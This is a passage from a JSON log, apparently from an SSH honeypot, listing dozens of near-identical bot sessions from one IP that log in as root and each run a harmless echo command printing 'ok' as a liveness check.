  "src_ip": "135.125.29.129",
  "src_port": 52482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:17.356097+00:00",
  "ended_at": "2026-08-23T08:29:18.695759+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9fe4657e-939f-4eda-89b0-69616bc677f5",
  "name": "keen-tidal-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:15.377623+00:00",
  "ended_at": "2026-08-23T08:29:16.644601+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cb827057-675c-4bde-85d2-d2fbf2601346",
  "name": "marbled-gloomy-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:12.784931+00:00",
  "ended_at": "2026-08-23T08:29:14.622568+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c751f71-bc09-4494-812e-2a1ceca643fd",
  "name": "fabled-pleasant-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:10.534721+00:00",
  "ended_at": "2026-08-23T08:29:12.085724+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "114ff1ef-1f74-4f1f-b3af-6b20b9c38a21",
  "name": "western-dewy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:08.383274+00:00",
  "ended_at": "2026-08-23T08:29:09.757001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bf30153c-6866-437a-90c9-f40f9d057b19",
  "name": "bashful-leafy-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:05.481232+00:00",
  "ended_at": "2026-08-23T08:29:07.688270+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50277371-1b74-4d7d-b9fa-e353d4893eac",
  "name": "subtle-bold-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54328,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:03.478215+00:00",
  "ended_at": "2026-08-23T08:29:04.848401+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f67cb90e-f7b9-4899-84a0-edfc6f8e9b41",
  "name": "jolly-velvet-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:29:00.572044+00:00",
  "ended_at": "2026-08-23T08:29:02.740911+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3e7063a9-d7c5-49ee-b826-719b487cbcbd",
  "name": "brisk-lofty-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56606,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:53.995088+00:00",
  "ended_at": "2026-08-23T08:28:59.922579+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "93c1f2ac-066b-4d15-9d0d-0f9d2d86c29d",
  "name": "seaward-lonesome-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:52.021735+00:00",
  "ended_at": "2026-08-23T08:28:53.311847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "428903f3-636c-472b-aaa2-b4532ca95cc1",
  "name": "feathered-hearty-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56580,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:50.146839+00:00",
  "ended_at": "2026-08-23T08:28:51.213343+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "61e115bc-92c9-4173-8fdd-c08f96dd1009",
  "name": "zealous-creaky-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:48.199680+00:00",
  "ended_at": "2026-08-23T08:28:49.477578+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2843e51a-37a9-4764-9c77-9fa33aabc15a",
  "name": "sturdy-wooded-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:45.365650+00:00",
  "ended_at": "2026-08-23T08:28:47.567963+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48267b28-67e3-4d73-a775-7626544da514",
  "name": "dutiful-obsidian-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:43.494972+00:00",
  "ended_at": "2026-08-23T08:28:44.656093+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6748e865-aaf8-4d7d-a31a-0e217522472a",
  "name": "gnarled-wistful-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58438,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:40.522207+00:00",
  "ended_at": "2026-08-23T08:28:42.781772+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e697026b-8d25-4922-928d-b2cb3c902cab",
  "name": "slender-silent-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43442,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:37.856397+00:00",
  "ended_at": "2026-08-23T08:28:39.781672+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "661b1a35-8d42-46ca-aa13-2b2a31bf4b19",
  "name": "amiable-granite-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:35.938483+00:00",
  "ended_at": "2026-08-23T08:28:37.179125+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bfb2311-2992-42af-9276-a71c4e90c878",
  "name": "painted-thrifty-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43416,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:32.272453+00:00",
  "ended_at": "2026-08-23T08:28:35.275468+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fb740e94-93ad-4303-91be-a7da684449b9",
  "name": "frugal-brisk-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:30.557853+00:00",
  "ended_at": "2026-08-23T08:28:31.443874+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b118b772-f8a4-4173-aa89-7f50fc0ef4c9",
  "name": "frank-woven-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59162,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:27.945724+00:00",
  "ended_at": "2026-08-23T08:28:29.902887+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f8b8b3f2-f743-478a-85c8-5a0f26fe0fa9",
  "name": "airy-mossy-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:25.619283+00:00",
  "ended_at": "2026-08-23T08:28:27.239451+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f53af7b0-fa34-4092-9043-8614f25a325a",
  "name": "downy-dutiful-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:23.467257+00:00",
  "ended_at": "2026-08-23T08:28:24.846035+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d1bcf11a-9ccd-475d-b5f3-ecfdb6d5815c",
  "name": "rugged-whispering-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:21.193108+00:00",
  "ended_at": "2026-08-23T08:28:22.756043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19991fb1-2054-4aa2-904a-8aff2478185e",
  "name": "eager-primal-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:19.317134+00:00",
  "ended_at": "2026-08-23T08:28:20.342040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50daa090-19b1-4667-b12e-12877f94b7ac",
  "name": "rambling-gloomy-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43266,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:16.285677+00:00",
  "ended_at": "2026-08-23T08:28:18.473923+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3eaf0f7e-3f56-4688-b4ec-67ba219e236a",
  "name": "freckled-solemn-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43258,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:14.152071+00:00",
  "ended_at": "2026-08-23T08:28:15.481058+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e1347c01-bb5f-461a-91c6-a3457ff42b50",
  "name": "electric-sunlit-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:11.303051+00:00",
  "ended_at": "2026-08-23T08:28:13.367675+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6cd9b38b-32ec-4e7a-b068-e004d7277491",
  "name": "chilly-dapper-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43234,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:09.150085+00:00",
  "ended_at": "2026-08-23T08:28:10.621042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b68977ac-b5cd-40f9-8910-afb501a93470",
  "name": "quartz-velvet-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38782,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:07.499712+00:00",
  "ended_at": "2026-08-23T08:28:08.494458+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d7fe74d-3413-4170-9473-739aa0d15193",
  "name": "dappled-snowy-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:05.864065+00:00",
  "ended_at": "2026-08-23T08:28:06.748000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "27588269-7731-4752-9486-7437d7b4759f",
  "name": "northern-civil-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:02.938109+00:00",
  "ended_at": "2026-08-23T08:28:05.117009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a77efb2a-1046-4ced-89db-28c2ac704b6d",
  "name": "golden-freckled-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38760,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:28:01.195119+00:00",
  "ended_at": "2026-08-23T08:28:02.191443+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9c4b2f34-9ecb-41cf-b9f5-83409ddaa13f",
  "name": "sleepy-fringed-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38744,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:58.933064+00:00",
  "ended_at": "2026-08-23T08:28:00.488999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "45703ecd-fcde-4e3d-a7ec-289b0927c8d2",
  "name": "icy-mossy-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40738,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:56.756830+00:00",
  "ended_at": "2026-08-23T08:27:58.149861+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cc54f3b4-d2d9-4c38-98f4-92751f055089",
  "name": "pewter-supple-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40736,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:53.818772+00:00",
  "ended_at": "2026-08-23T08:27:56.054996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b668278a-ce39-4faa-9c19-2a44f87b25f6",
  "name": "cheerful-prickly-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:48.439076+00:00",
  "ended_at": "2026-08-23T08:27:53.020430+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c6294035-c30d-4e2a-834a-eb1fe171b966",
  "name": "placid-sleepy-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:45.522101+00:00",
  "ended_at": "2026-08-23T08:27:47.781658+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb7b4579-5e81-4e7a-831e-930308968fb5",
  "name": "crisp-sleepy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:42.711727+00:00",
  "ended_at": "2026-08-23T08:27:44.676086+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "02778db8-3a90-4b32-8c43-1fe4d646f486",
  "name": "wooded-lonesome-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:39.843218+00:00",
  "ended_at": "2026-08-23T08:27:41.897998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "22e43862-e130-41aa-bf59-1e686c2572ec",
  "name": "jaunty-patient-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:37.254443+00:00",
  "ended_at": "2026-08-23T08:27:39.139005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96bc9c1b-613e-4cd2-a785-69c988201c4c",
  "name": "hazel-inland-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40194,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:34.877065+00:00",
  "ended_at": "2026-08-23T08:27:36.560062+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a50f38f0-83d7-4ca4-bcf6-da9d6963dea0",
  "name": "jaunty-velvet-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40178,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:33.074743+00:00",
  "ended_at": "2026-08-23T08:27:34.165843+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0d59a4b1-e49b-45cb-af23-2480b98df460",
  "name": "brazen-mighty-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40164,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:31.379120+00:00",
  "ended_at": "2026-08-23T08:27:32.364999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b893bef-7564-4f2a-a946-f898d970ba3b",
  "name": "earnest-peaty-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:28.462733+00:00",
  "ended_at": "2026-08-23T08:27:30.639999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1204d685-9e15-4e6f-aae4-06e5871a9fa9",
  "name": "blazing-lonesome-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57484,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:25.869791+00:00",
  "ended_at": "2026-08-23T08:27:27.646000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1fe34696-b796-4ebe-b89d-d1e93c38abb5",
  "name": "ruddy-inland-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:22.915077+00:00",
  "ended_at": "2026-08-23T08:27:25.149048+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2708e1bb-93d3-4ef5-8366-da21dd411edd",
  "name": "flinty-thorny-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57470,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:20.128865+00:00",
  "ended_at": "2026-08-23T08:27:22.194455+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4a4539c-ef6e-404a-b053-5b9dc65d0f6b",
  "name": "boreal-supple-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46488,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:18.353079+00:00",
  "ended_at": "2026-08-23T08:27:19.459651+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4feb3202-ecfa-4f4e-82bb-a0c73d9d8aad",
  "name": "supple-patient-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:27:16.669883+00:00",
  "ended_at": "2026-08-23T08:27:17.590004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4ca35160-8681-4ec1-8b8b-9a3ecd189b5b",
  "name": "knotted-nimble-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46474,
  "username": "root",
